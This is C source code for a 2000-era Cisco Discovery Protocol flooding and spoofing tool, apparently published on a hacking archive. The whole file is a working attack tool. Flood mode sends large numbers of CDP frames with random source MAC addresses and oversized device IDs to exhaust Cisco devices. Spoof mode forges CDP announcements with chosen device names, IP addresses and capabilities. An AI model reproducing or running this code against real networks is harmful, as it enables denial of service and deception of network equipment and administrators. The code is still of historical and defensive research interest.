/* CDP sender/flooder
 *
 * FX <fx@phenoelit.de>
 * Phenoelit (http://www.phenoelit.de)
 * (c) 2k
 *
 * $Id: cdp.c,v 1.7 2000/09/14 13:37:00 fx Exp fx $
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <rpc/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <errno.h>

#include <sys/ioctl.h>
#include <netinet/in.h>                 /* for IPPROTO_bla consts */
#include <netpacket/packet.h>
#include <net/ethernet.h>               /* to get my own ETH addr */
#include <net/if.h>

#define IP_ALEN		4

/* IEEE 802.3, LLC related structs */
struct eth_ieee802_3 {
    struct ether_addr	daddr;
    struct ether_addr	saddr;
    u_int16_t		length;
};

struct eth_LLC {
    u_int8_t		DSAP;
    u_int8_t		SSAP;
    u_int8_t		Control;
    u_int8_t		orgcode[3];
    u_int16_t		proto;
};

/* CDP header */
struct cdphdr {
    u_int8_t		version;
    u_int8_t		ttl;
    u_int16_t		checksum;
};

/* CDP sections */
#define TYPE_DEVICE_ID          0x0001
#define TYPE_ADDRESS            0x0002
#define TYPE_PORT_ID            0x0003
#define TYPE_CAPABILITIES       0x0004
#define TYPE_IOS_VERSION        0x0005
#define TYPE_PLATFORM           0x0006

struct cdp_device {
    u_int16_t		type;		/* 0x0001 */
    u_int16_t		length;
    u_char		device;		/* pointer to device name */
};

struct cdp_address {
    u_int16_t		type;		/* 0x0002 */
    u_int16_t		length;
    u_int32_t		number;		/* number of addresses */
};

struct cdp_address_entry {
    u_int8_t		proto_type;	/* 0x1 for NLPID */
    u_int8_t		length;		/* 0x1 for IP */
    u_int8_t		proto;		/* 0xCC for IP */
    u_int8_t		addrlen[2];
    u_char		addr;
};

struct cdp_port {
    u_int16_t		type;		/* 0x0003 */
    u_int16_t		length;
    u_char		port;		/* pointer to port name */
};

#define CDP_CAP_LEVEL1		0x40
#define CDP_CAP_FORWARD_IGMP	0x20
#define CDP_CAP_NETWORK_LAYER	0x10
#define CDP_CAP_LEVEL2_SWITCH	0x08
#define CDP_CAP_LEVEL2_SRB	0x04
#define CDP_CAP_LEVEL2_TRBR	0x02
#define CDP_CAP_LEVEL3_ROUTER	0x01
struct cdp_capabilities {
    u_int16_t		type;		/* 0x0004 */
    u_int16_t		length;		/* is 8 */
    u_int32_t		capab;		
};

struct cdp_software {
    u_int16_t		type;		/* 0x0005 */
    u_int16_t		length;		
    u_char		software;	/* pointer to software string */
};

struct cdp_platform {
    u_int16_t		type;		/* 0x0006 */
    u_int16_t		length;		
    u_char		platform;	/* pointer to platform string */
};

/* my config */
#define DEFAULT_NUMBER	100;
#define DEFAULT_LENGTH  1400;
struct {
    char		*device;
    int			verbose;
    int			mode;
    /* flood mode */
    unsigned long	number;
    int			length;
    char		floodchar;
    int			floodrandom;
    /* spoof mode */
    char		*S_devname;
    char		*S_portid;
    char		*S_software;
    char		*S_platform;
    char		*S_capas;
    struct in_addr	S_ipaddr;
} cfg;

/* globals */
u_char			CDP_DEST[6] = {0x1,0x0,0xC,0xCC,0xCC,0xCC};
struct ether_addr	eth_my;
struct in_addr		ip_my;

int			atsock;		/* attack socket */
#define CDP_FRAME_SIZE	1700
u_char			cdpframe[CDP_FRAME_SIZE];

/* prototypes */
void    *smalloc(size_t size);
int     initialize_socket(void);
int     send_ethernet_frame(u_char *frame, int frame_length);

unsigned int	mk_flood_cdp(char *my_name,int nlen);
unsigned int	mk_spoof_cdp();
u_int16_t chksum(u_char *data, unsigned long count);

void usage(char *n);

/* ******************* MAIN ******************** */

int main(int argc,char **argv) {
    char		option;
    extern char		*optarg;

    unsigned int	plen;
    unsigned int	i;

    /* for flooding */
    int			j;
    char		*devname;
    struct timespec	sleeper = {0,10000};

    memset(&cfg,0,sizeof(cfg));
    while ((option=getopt(argc,argv,"vi:n:l:m:c:rD:P:C:L:S:F:"))!=EOF) {
	switch (option) {
	    /* general */
	    case 'v':	cfg.verbose++;
			break;
	    case 'i':	cfg.device=smalloc(strlen(optarg));
			strcpy(cfg.device,optarg);
			break;
	    case 'm':	cfg.mode=atol(optarg);
			if (cfg.mode==0) 
			    printf("Running in flood mode\n");
			else if (cfg.mode==1) 
			    printf("Running in spoof mode\n");
			else {
			    printf("Mode should be 0 or 1\n");
			    exit(1);
		        }
			break;

	    /* flood mode */
	    case 'n':	if ((cfg.number=atol(optarg))<=0) {
			    fprintf(stderr,"This number is bullshit\n");
			    exit(1);
			}
			break;
	    case 'l':	if ((cfg.length=atol(optarg))<=0) {
			    fprintf(stderr, "This length is bullshit\n");
			    exit(1);
			}
			break;
	    case 'c':	cfg.floodchar=optarg[0];
			break;
	    case 'r':	cfg.floodrandom++;
			break;

	    /* Spoof mode */
	    case 'D':	cfg.S_devname=(char *)smalloc(strlen(optarg)+1);
			strcpy(cfg.S_devname,optarg);
			break;
	    case 'P':	cfg.S_portid=(char *)smalloc(strlen(optarg)+1);
			strcpy(cfg.S_portid,optarg);
			break;
	    case 'C':	cfg.S_capas=(char *)smalloc(strlen(optarg)+1);
			strcpy(cfg.S_capas,optarg);
			break;
	    case 'L':	cfg.S_platform=(char *)smalloc(strlen(optarg)+1);
			strcpy(cfg.S_platform,optarg);
			break;
	    case 'S':	cfg.S_software=(char *)smalloc(strlen(optarg)+1);
			strcpy(cfg.S_software,optarg);
			break;
	    case 'F':	if (!inet_aton(optarg,&(cfg.S_ipaddr))) {
			    fprintf(stderr,"source IP is invalid\n");
			    exit (1);
			}
			break;

	    /* fallback */
	    default:	usage(argv[0]);
	}
    }

    if (!cfg.device) usage(argv[0]);

    /* check command line */
    if (cfg.number==0) cfg.number=DEFAULT_NUMBER;
    if (cfg.length==0) cfg.length=DEFAULT_LENGTH;
    if (cfg.floodchar=='\0') cfg.floodchar='A';

    if (cfg.mode==0) {
	/* ******************* FLOOD MODE ***************** */
	devname=(char *)smalloc(cfg.length);

	if (initialize_socket()!=0) exit(1);

	srand((unsigned int)time(NULL));
	
	for (i=0;i<cfg.number;i++) {

	    for (j=0;j<cfg.length;j++) {
		if (cfg.floodrandom) {
		    devname[j]=cfg.floodchar+
			(int) (128.0*rand()/(RAND_MAX+1.0));
		} else {
		    devname[j]=cfg.floodchar;
		}
	    }
	    
	    plen=mk_flood_cdp(devname,cfg.length-1);
	    if (cfg.verbose) 
		printf("Packet length: %d\n",plen);
	    send_ethernet_frame(cdpframe,plen);

	    nanosleep(&sleeper,NULL);
	}

	close(atsock);
	
    } else {
	/* ******************* SPOOF MODE ***************** */
	if (!((cfg.S_devname!=NULL) 
		    && (cfg.S_portid!=NULL)
		    && (cfg.S_capas!=NULL) 
		    && (cfg.S_platform!=NULL)
		    && (cfg.S_software!=NULL))) {
	  fprintf(stderr,"For spoofing, the following options"
		    " are required:\n"
		    "\t -D -P -C -L -S -F\n"
		    );
	    exit (1);
	}

	if (cfg.verbose) 
	    printf("Spoofing mode with the following data:\n"
		    "Device ID :\t%s\n"
		    "IP address:\t%s\n"
		    "Platform  :\t%s\n"
		    "Capabilities:\t%s\n"
		    "Port ID   :\t%s\n"
		    "Software  :\t%s\n",
		    cfg.S_devname,inet_ntoa(cfg.S_ipaddr),cfg.S_platform,
		    cfg.S_capas,cfg.S_portid,cfg.S_software);

	/* go .. */
	if (initialize_socket()!=0) exit(1);
	plen=mk_spoof_cdp();
	if (cfg.verbose) 
	    printf("Packet length: %d\n",plen);
	send_ethernet_frame(cdpframe,plen);
	close(atsock);
    }

    return 0;
}

/* returns an initialized pointer to a memory area 
 *  * or hard-exits on failure */
void    *smalloc(size_t size) {
    void        *p;

    if ((p=malloc(size))==NULL) {
        fprintf(stderr,"smalloc(): malloc failed\n");
        exit (-2);
    }
    memset(p,0,size);
    return p;
}

/* opens the raw socket,
 *  * RETURNS 0 on success or -1 on error */
int     initialize_socket(void) {
    struct ifreq        ifr;

    if ((atsock=socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL)))<0) {
        perror("socket()");
        return (-1);
    }

    /* get IP addr */
    memset(&ifr,0,sizeof(ifr));
    strncpy(ifr.ifr_name, cfg.device, sizeof (ifr.ifr_name));
    if (ioctl(atsock, SIOCGIFADDR, &ifr) < 0 ) {
        perror("ioctl()");
        return (-1);
    }
    memcpy(&(ip_my.s_addr),
            &(*(struct sockaddr_in *)&ifr.ifr_addr).sin_addr.s_addr,
            IP_ALEN);

    /* get HW addr */
    memset(&ifr,0,sizeof(ifr));
    strncpy(ifr.ifr_name, cfg.device, sizeof (ifr.ifr_name));
    if (ioctl(atsock, SIOCGIFHWADDR, &ifr) < 0 ) {
        perror("ioctl()");
        return (-1);
    }
    memcpy(&eth_my,&ifr.ifr_hwaddr.sa_data,ETH_ALEN);

    return 0;   /* fine */
}

/* send's the ethernet frame,
 *  * RETURNS the number of octets send or -1 on error */
int     send_ethernet_frame(u_char *frame, int frame_length) {
    struct sockaddr     sa;
    int                 sendBytes;

    memset(&sa,0,sizeof(sa));
    strncpy(sa.sa_data,cfg.device,sizeof(sa.sa_data));

    sendBytes=sendto(atsock,frame,frame_length,0,&sa,sizeof(sa));
    if (sendBytes<0) {
        perror("send_ethernet_frame(): sendto");
        return (-1);
    } else if (sendBytes<frame_length) {
        fprintf(stderr,"send_ethernet_frame(): "
                "WARNING: short send %d out off %d\n",sendBytes,frame_length);
    }

    return sendBytes;
}

unsigned int	mk_flood_cdp(char *my_name,int nlen) {
    /* semi constants for memcpy */
    u_char	my_portid[]	= "F";
    
    struct eth_ieee802_3	*ethh;
    struct eth_LLC		*llc;
    struct cdphdr		*cdph;
    struct cdp_device		*cdp_dev;
    struct cdp_port		*cdp_prt;
    u_char			*cdp_end;
    u_int16_t			cs;

    int				j;
    struct ether_addr		ea;


    memset(&cdpframe,0,sizeof(cdpframe));
    
    /* created random sender address */
    for (j=0;j<ETH_ALEN;j++)
	ea.ether_addr_octet[j]=1+(int) (255.0*rand()/(RAND_MAX+1.0));

    /* make IEEE 802.3 header */
    ethh=(struct eth_ieee802_3 *)cdpframe;
    memcpy(&(ethh->saddr),&ea,ETH_ALEN);
    memcpy(&(ethh->daddr),&CDP_DEST,ETH_ALEN);
    ethh->length=0;	/* assigned later */

    /* build LLC header */
    llc=(struct eth_LLC *)(cdpframe+sizeof(struct eth_ieee802_3));
    llc->DSAP=0xAA;
    llc->SSAP=0xAA;
    llc->Control=0x03;	/* unnumbered */
    llc->orgcode[0]=llc->orgcode[1]=0x00;
    llc->orgcode[2]=0x0c;			/* cisco */
    llc->proto=htons(0x2000);

    /* build cdp header */
    cdph=(struct cdphdr *)((void*)llc+sizeof(struct eth_LLC));
    cdph->version=0x01;
    cdph->ttl=255;		/* in seconds */
    cdph->checksum=0x0000;	/* will be computed later */

    /* make a device entry */
    cdp_dev=(struct cdp_device *)((void *)cdph+sizeof(struct cdphdr));
    cdp_dev->type=htons(TYPE_DEVICE_ID);		/* 0x0001 */
    cdp_dev->length=htons(nlen+2*sizeof(u_int16_t));
    memcpy(&(cdp_dev->device),my_name,nlen);

    /* make CDP port entry */
    cdp_prt=(struct cdp_port *)((void *)cdp_dev+(
	    sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ +
	    nlen));
    cdp_prt->type=htons(TYPE_PORT_ID);
    cdp_prt->length=htons(strlen(my_portid)+2*sizeof(u_int16_t));
    memcpy(&(cdp_prt->port),&my_portid,strlen(my_portid));

    cdp_end=(void *)(((void *)cdp_prt+(
		sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ +
		strlen(my_portid))));
    ethh->length=htons((unsigned int)((void *)cdp_end-(void *)llc));

    cs=chksum((u_char *)cdph,((void *)cdp_end-(void *)cdph));
    if (cfg.verbose>2) 
	printf("My checksum is %04X\n",cs);
    cdph->checksum=cs;
   
    return ((void *)cdp_end-(void *)&cdpframe[0]);
}

unsigned int	mk_spoof_cdp() {
    struct eth_ieee802_3	*ethh;
    struct eth_LLC		*llc;
    struct cdphdr		*cdph;
    struct cdp_device		*cdp_dev;
    struct cdp_address		*cdp_addr;
    struct cdp_address_entry	*cdp_ae;
    struct cdp_port		*cdp_prt;
    struct cdp_capabilities	*cdp_caps;
    struct cdp_software		*cdp_soft;
    struct cdp_platform		*cdp_plt;
    u_char			*cdp_end;
    u_int16_t			cs;

    memset(&cdpframe,0,sizeof(cdpframe));
    
    /* make IEEE 802.3 header */
    ethh=(struct eth_ieee802_3 *)cdpframe;
    memcpy(&(ethh->saddr),&eth_my,ETH_ALEN);
    memcpy(&(ethh->daddr),&CDP_DEST,ETH_ALEN);
    ethh->length=0;	/* assigned later */

    /* build LLC header */
    llc=(struct eth_LLC *)(cdpframe+sizeof(struct eth_ieee802_3));
    llc->DSAP=0xAA;
    llc->SSAP=0xAA;
    llc->Control=0x03;	/* unnumbered */
    llc->orgcode[0]=llc->orgcode[1]=0x00;
    llc->orgcode[2]=0x0c;			/* cisco */
    llc->proto=htons(0x2000);

    /* build cdp header */
    cdph=(struct cdphdr *)((void*)llc+sizeof(struct eth_LLC));
    cdph->version=0x01;
    cdph->ttl=255;		/* in seconds */
    cdph->checksum=0x0000;	/* should be computed */
    
    /* make a device entry */
    cdp_dev=(struct cdp_device *)((void *)cdph+sizeof(struct cdphdr));
    cdp_dev->type=htons(TYPE_DEVICE_ID);		/* 0x0001 */
    cdp_dev->length=htons(strlen(cfg.S_devname)+2*sizeof(u_int16_t));
    memcpy(&(cdp_dev->device),cfg.S_devname,strlen(cfg.S_devname)); 

    /* make an address entry */
    cdp_addr=(struct cdp_address *)((void *)cdp_dev+(
	    sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ +
	    strlen(cfg.S_devname)));
    cdp_addr->type=htons(TYPE_ADDRESS);
    cdp_addr->length=htons(
	    /* address record */       /* address entry */ /*size of IPaddr-1 */
	    sizeof(struct cdp_address)+sizeof(struct cdp_address_entry)+3);
    cdp_addr->number=htonl(0x00000001);

    /* insert our address */
    cdp_ae=(struct cdp_address_entry *)((void *)cdp_addr+sizeof(struct cdp_address));
    cdp_ae->proto_type=0x01;
    cdp_ae->length=0x01;
    cdp_ae->proto=0xCC;		/* IPv4 */
    cdp_ae->addrlen[1]=0x04;
    memcpy(&(cdp_ae->addr),&(cfg.S_ipaddr),IP_ALEN);

    /* make CDP port entry */
    cdp_prt=(struct cdp_port *)((void *)cdp_ae+
	(sizeof (struct cdp_address_entry)+3)); /* for IP fields */ 
    cdp_prt->type=htons(TYPE_PORT_ID);
    cdp_prt->length=htons(strlen(cfg.S_portid)+2*sizeof(u_int16_t));
    memcpy(&(cdp_prt->port),cfg.S_portid,strlen(cfg.S_portid));

    /* make CDP capabilities entry */
    cdp_caps=(struct cdp_capabilities *)((void *)cdp_prt+(
	    sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ +
	    strlen(cfg.S_portid)));
    cdp_caps->type=htons(TYPE_CAPABILITIES);
    cdp_caps->length=htons(0x0008);
    	/* I'm sorry, this is lazy and not very elegant but it works 
	 * and at the moment, nothing else comes to my mind ... */
    cdp_caps->capab=0;
    if (strchr(cfg.S_capas,'R')) 
	cdp_caps->capab=CDP_CAP_LEVEL3_ROUTER;
    if (strchr(cfg.S_capas,'T')) 
	cdp_caps->capab=cdp_caps->capab | CDP_CAP_LEVEL2_TRBR;
    if (strchr(cfg.S_capas,'B')) 
	cdp_caps->capab=cdp_caps->capab | CDP_CAP_LEVEL2_SRB;
    if (strchr(cfg.S_capas,'S')) 
	cdp_caps->capab=cdp_caps->capab | CDP_CAP_LEVEL2_SWITCH;
    if (strchr(cfg.S_capas,'H')) 
	cdp_caps->capab=cdp_caps->capab | CDP_CAP_NETWORK_LAYER;
    if (strchr(cfg.S_capas,'I')) 
	cdp_caps->capab=cdp_caps->capab | CDP_CAP_FORWARD_IGMP;
    if (strchr(cfg.S_capas,'r')) 
	cdp_caps->capab=cdp_caps->capab | CDP_CAP_LEVEL1;
    cdp_caps->capab=htonl(cdp_caps->capab);

    /* make CDP software version */
    cdp_soft=(struct cdp_software *)((void *)cdp_caps+
	    sizeof(struct cdp_capabilities));
    cdp_soft->type=htons(TYPE_IOS_VERSION);
    cdp_soft->length=htons(strlen(cfg.S_software)+2*sizeof(u_int16_t));
    memcpy(&(cdp_soft->software),cfg.S_software,strlen(cfg.S_software));

    /* make CDP platform */
    cdp_plt=(struct cdp_platform *)((void *)cdp_soft+(
	    sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ +
	    strlen(cfg.S_software)));
    cdp_plt->type=htons(TYPE_PLATFORM);
    cdp_plt->length=htons(strlen(cfg.S_platform)+2*sizeof(u_int16_t));
    memcpy(&(cdp_plt->platform),cfg.S_platform,strlen(cfg.S_platform));
    cdp_end=(u_char *)((void *)cdp_plt+(
	    sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ +
	    strlen(cfg.S_platform)));

    ethh->length=htons((unsigned int)((void *)cdp_end-(void *)llc));

    cs=chksum((u_char *)cdph,((void *)cdp_end-(void *)cdph));
    if (cfg.verbose>2) 
	printf("My checksum is %04X\n",cs);
    cdph->checksum=cs;
   
    return ((void *)cdp_end-(void *)&cdpframe[0]);
}

/* returns the checksum 
 * WARNING: if left over bytes are present, the memory after *data has to
 * contain 0x00 series and should be part of the buffer
 * -> make the buffer for data at least count+1 bytes long ! */
u_int16_t chksum(u_char *data, unsigned long count) {
    u_int32_t		sum = 0;
    u_int16_t		*wrd;

    wrd=(u_int16_t *)data;
    while( count > 1 )  {
	sum = sum + *wrd;
	wrd++;
	count -= 2;
    }

    /*  Add left-over byte, if any */
    if( count > 0 ) {
	if (cfg.verbose>2)
	    printf("Left over byte: %04X\n",((*wrd & 0xFF)<<8));
	sum = sum + ((*wrd &0xFF)<<8);
    }

    /*  Fold 32-bit sum to 16 bits */
    while (sum>>16) {
	sum = (sum & 0xffff) + (sum >> 16);
    }

    return (~sum);
}

void usage(char *n) {
    printf(
	    "%s [-v] -i <interface> -m {0,1} ...\n"
	    "\n"
	    "Flood mode (-m 0):\n"
	    "-n <number>\tnumber of packets\n"
	    "-l <number>\tlength of the device id\n"
	    "-c <char>\tcharacter to fill in device id\n"
	    "-r\t\trandomize device id string\n"
	    "\n"
	    "Spoof mode (-m 1):\n"
	    "-D <string>\tDevice id\n"
	    "-P <string>\tPort id\n"
	    "-L <string>\tPlatform\n"
	    "-S <string>\tSoftware\n"
	    "-F <string>\tIP address\n"
	    "-C <capabilities>\n"
	    "\tthese are:\n"
	    "\tR - Router, T - Trans Bridge, B - Source Route Bridge\n"
	    "\tS - Switch, H - Host, I - IGMP, r - Repeater\n",
	    n);
    exit(0);
}
/*                   www.hack.co.za   [21 September 2000]*/